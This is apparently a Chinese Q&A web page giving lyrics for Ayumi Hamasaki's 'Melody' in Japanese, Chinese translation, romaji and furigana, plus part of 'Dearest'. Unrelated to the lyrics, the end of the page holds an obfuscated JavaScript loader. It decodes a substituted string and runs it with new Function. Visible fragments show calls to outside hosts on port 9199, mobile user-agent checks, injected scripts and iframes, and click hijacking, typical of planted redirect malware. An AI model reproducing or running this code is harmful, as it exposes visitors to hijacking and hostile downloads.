推荐回答（3个）
Melody
浜崎あゆみ
听译碎片娘
「Melody」
日が暮れる瞬间の
空がずっと苦手だった
あまりに绮丽过ぎて
まるで全ての终わりみたいで
君といたあの日もまた
その时间はやってきて
仆は何故が涙止まらなかった
ただ黙って君は隣にいて
涙拭ってくれてた
君に赠る仆からのメロディー
いつの日か二人で奏でられたらと
君に赠る仆からのメロディー
上手じゃなくでいい
ただずっと流れていて欲しい
いつからか空気の様に
风が流れるように
君の左侧から见える景色が指定席で
たとえば何の言叶も
交わさなくてもいいよ
瞳を覗くだけで
全部分かるから
ありのままでいられることの
心地よさ知らなかった
君にずっと届けたいメロディー
少しずつ二人で奏でていこうか
君にずっと届けたいメロディー
仆らだけのあのペースで
そんな风に これからも
例えばどうにもならない
悲しいメロディーしか闻こえない
そんな日の君でもどんな君でも
変わらずに爱しいよ
君と仆の幸せのメロディー
二人で育ててそっと强く守って
君と仆の最后のメロディー
どうか穏やかで 优しい音で有ります様に
君に赠る仆からのメロディー
君にずっと届けたいメロディー
日落瞬间的天空
始终都无可奈何
因为实在太过美丽
仿佛是万物的终结
终于再次迎来
曾与你相守的岁月
我为什么无法停止哭泣
你只是沉默着在我身旁
为我拭去了眼泪
送给你由我送出的melody
或许有天我们可以一同奏响
送给你由我送出的melody
并不擅长也无妨
只愿能永远流传下去
不知从何时起仿佛是空气
仿佛是流淌的风
从你的左侧所看到的风景
是属于我的位置
即使不交换
任何言语
只要凝望着你的眼睛
就能全部明白
甚至不曾知晓
能做真实的自己是如此轻松
想永远传达给你的melody
我们一点点奏响吧
想永远传达给你的melody
以只属于我们的节奏
从今往后也是如此
如果我们不知如何是好
即使只听得见悲伤的melody
即使有那样一天无论是怎样的你
都一如既往的爱着
你与我幸福的melody
我们共同孕育 无声无息地坚守
你与我最后的melody
千万要让温柔的声音平静地流淌
送给你由我送出的melody
想永远传达给你的melody
罗马音歌词
higakurerusyunnkannno
soragazuttonigatedatta
amarinikireyisugite
marudesubetenoowarimitayide
kimitoyitaanohimomata
sonojigannhayattekite
bokuhanazeganamidatomaranakatta
tadatamattekimihatonariniyite
namidanuguttekureteta
kiminiokurubokukaranomelody
yitsunohikahutaridekanaderaretarato
kiminiokurubokukaranomelody
jyouzujyanakudeyiyi
tadazuttonakareteyitehosiyi
yitsukarakuukinoyouni
kazeganakareruyouni
kiminohidarigawakaramierukesikigasiteisekide
tatoebanannnokutobama
kawasanakutemoyiyiyo
hitomiwonokumudakede
zennbuwakarukara
arinomamadeyirarerukotono
kokotiyosasiranakatta
kiminizuttotodoketayimelody
sukosizutsuhutaridekanadeteyikouka
kiminizuttotodoketayimelody
bokuradakenoanopessude
sonnnahuuni korekaramo
tatoebadounimonaranayi
kanasiyimelodysikakikoenayi
sonnnahinokimidemodonnnakimidemo
kawarazuniyitosiyiyo
kimitobokunosiawasenomelody
hutaridesodatetesottotsuyokumamotte
kimitobokunosayigonomelody
dowukaodayakadeyasayiiotodearimasuyouni
kiminiokurubokukaranomelody
kiminizuttotodoketayimelody
Melody
阳(ひ)が暮(く)れる瞬间(しゅんかん)の
空(そら)がずっと苦手(にがて)だった
あまりに绮丽(きれい)すぎて
まるで全(すべ)ての终(お)わりみたいで
君(きみ)といたあの日(ひ)もまた
その时间(じかん)はやって来(き)て
仆(ぼく)は何故(なぜ)が涙止(なみだ)とまらなかった
ただ黙(だま)って君(きみ)は隣(となり)にいて
涙拭(なみだぬぐ)ってくれてた
君(きみ)に送(おく)る仆(ぼく)からのメロディー
いつの日(ひ)か2人(ふたり)で奏(かな)でられたらと
君(きみ)に送(おく)る仆(ぼく)からのメロディー
上手(じょうず)じゃなくていいから
ずっと流(なが)れていて欲(ほ)しい
いつからか空気(くうき)のように
风(かぜ)が流(なが)れるように
君(きみ)の左侧(ひだりがわ)から见(み)える景色(けしき)が指定席(していせき)で
例(たと)えば何(なん)の言叶(ことば)も 交(か)わさなくてもいいよ
瞳(ひとみ)を覗(のぞ)くだけで全部分(ぜんぶわ)かるから
ありのままでいられる事(こと)の
心地(ここち )よさ知(し)らなかった
君(きみ)にずっと届(とど)けたいメロディー
少(すこ)しずつ2人(ふたり)で奏(かな)でて行(い)こうか
君(きみ)にずっと届(とど)けたいメロディー
例(たと)えばどうにもならない
悲(かな)しいメロディーしか聴(き)こえない
そんな日(ひ)の君(きみ)でも どんな君(きみ)でも
変(か)わらずに爱(いと)おしいよ
君(きみ)と仆(ぼく)の幸(しあわ)せのメロディー
2人(ふたり)で育(そだ)ててそっと强(つよ)く守(まも)って
君(きみ)と仆(ぼく)の最後(さいご)のメロディー
どうか穏(おだ)やかで优(やさ)しい音(おと)でありますように
君(きみ)に送(おく)る仆(ぼく)からのメロディー
君(きみ)にずっと届(とど)けたいメロディー
2008-07-25 09:59Dearest
本当（ほんとう）に大切（たいせつ）な
もの以外（いがい）全（すべ）て舍（す）てて
しまえたら
いいのにね
现実（げんじつ）はただ残酷（ざんこく）で
そんな时（とき）いつだって
目（め）を闭（と）じれば
笑（わら）ってる君（きみ）がいる
Ah-いつか永远（えいえん）の
眠（ねむ）りにつく日（ひ）まで
どうかその笑颜（えがお）が
绝え（たえ）间（ま）なくある様（よう）に
人（ひと）は皆悲（みなかな）しいかな
忘（わす）れゆく 生（い）き物（もの）だけど
爱すべきもののため
爱をくれるもののため
できること
Ah-出会（であ）った あの顷（ころ）は
全（すべ）てが不器用（ぶきよう）で
远（とお）まわりしたよね
伤（きず）つけ合（あ）ったよね
Ah-いつか永远（えいえん）の
眠（ねむ）りにつく日（ひ）まで
どうかその笑颜（えがお）が
绝え（たえ）间（ま）なくある様（よう）に
Ah-出会（であ）った あの顷（ころ）は
全（すべ）てが不器用（ぶきよう）で
远（とお）まわりしたけど
辿（たど）りついたんだね
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();
